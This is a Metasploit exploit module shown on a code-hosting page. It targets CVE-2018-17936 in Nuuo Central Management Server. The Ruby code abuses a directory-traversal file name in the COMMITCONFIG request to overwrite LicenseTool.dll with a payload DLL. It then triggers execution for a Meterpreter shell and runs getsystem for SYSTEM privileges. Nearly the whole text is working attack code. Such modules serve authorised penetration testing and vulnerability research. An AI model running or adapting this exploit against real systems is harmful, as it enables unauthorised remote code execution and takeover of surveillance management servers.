Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/nuuo/nuuo_cms_fu.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::EXE9include Msf::Exploit::Remote::Nuuo1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Nuuo Central Management Server Authenticated Arbitrary File Upload",16'Description' => %q{17The COMMITCONFIG verb is used by a CMS client to upload and modify the configuration of the18CMS Server.19The vulnerability is in the "FileName" parameter, which accepts directory traversal (..\..\)20characters. Therefore, this function can be abused to overwrite any files in the installation21drive of CMS Server.2223This vulnerability is exploitable in CMS versions up to and including v2.4.2425This module will either use a provided session number (which can be guessed with an auxiliary26module) or attempt to login using a provided username and password - it will also try the27default credentials if nothing is provided.2829This module will overwrite the LicenseTool.dll file in the CMS Server installation. If the module30fails to restore LicenseTool.dll then the installation will be corrupted and NCS Server will31not execute successfully.32},33'License' => MSF_LICENSE,34'Author' => [35'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module36],37'References' => [38[ 'CVE', '2018-17936' ],39[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],40[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],41[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt' ]42],43'Platform' => 'win',44'Arch' => ARCH_X86,45'Targets' => [46[ 'Nuuo Central Management Server <= v2.4.0', {} ],47],48'Privileged' => true,49'DisclosureDate' => '2018-10-11',50'DefaultTarget' => 0,51'Compat' => {52'Meterpreter' => {53'Commands' => %w[54stdapi_sys_process_execute55stdapi_sys_process_get_processes56stdapi_sys_process_kill57]58}59}60)61)6263self.needs_cleanup = true64end6566def on_new_session(client)67if client.type == 'meterpreter'68print_warning('Please wait a bit while we clean up')69client.sys.process.get_processes().each do |proc|70if proc['name'] == 'NCS_Server.exe'71client.sys.process.kill(proc['pid'])72Rex.sleep(5)73client.shell_command_token("move /y #{@dll} LicenseTool.dll")74client.sys.process.execute('NCS_Server.exe')75print_good('Successfully restored LicenseTool.dll!')76end77end7879# elevate privs to system (we're already Admin anyway), and we're done!80client.run_cmd('getsystem')81print_good('We should have SYSTEM now, enjoy your shell!')82else83print_error('You are not using meterpreter, so we are unable to restore LicenseTool.dll')84print_error("To restore it, kill the NCS_Server.exe process and copy <CMS_FOLDER>\\#{@dll} to <CMS_FOLDER>\\LicenseTool.dll")85print_error('... otherwise the Nuuo CMS installation will be nuked!')86print_good('Anyway, enjoy your shell!')87end88end8990def upload_file(filename, data)91res = ncs_send_request({92'method' => 'COMMITCONFIG',93'file_name' => "..\\..\\#{filename}",94'user_session' => user_session,95'data' => data96})97end9899def exploit100connect101res = ncs_login102fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS') unless res103104# Download and upload a backup of LicenseTool.dll, so that we can restore it at post105# and not nuke the CMS installation.106@dll = rand_text_alpha(12)107print_status("Backing up LicenseTool.dll to #{@dll}")108109ltool = 'LicenseTool.dll'110res = ncs_send_request({111'method' => 'GETCONFIG',112'file_name' => "..\\..\\#{ltool}",113'user_session' => user_session114})115dll_data = res.body116117upload_file(@dll, dll_data)118119print_status('Uploading payload...')120upload_file(ltool, generate_payload_dll)121122print_status('Sleeping 15 seconds...')123Rex.sleep(15)124125print_status('Sending SENDLICFILE request, shell incoming!')126res = ncs_send_request({127'method' => 'SENDLICFILE',128'file_name' => "#{rand_text_alpha(3..11)}.lic",129'user_session' => user_session,130'data' => rand_text_alpha(50..350)131})132end133end134135136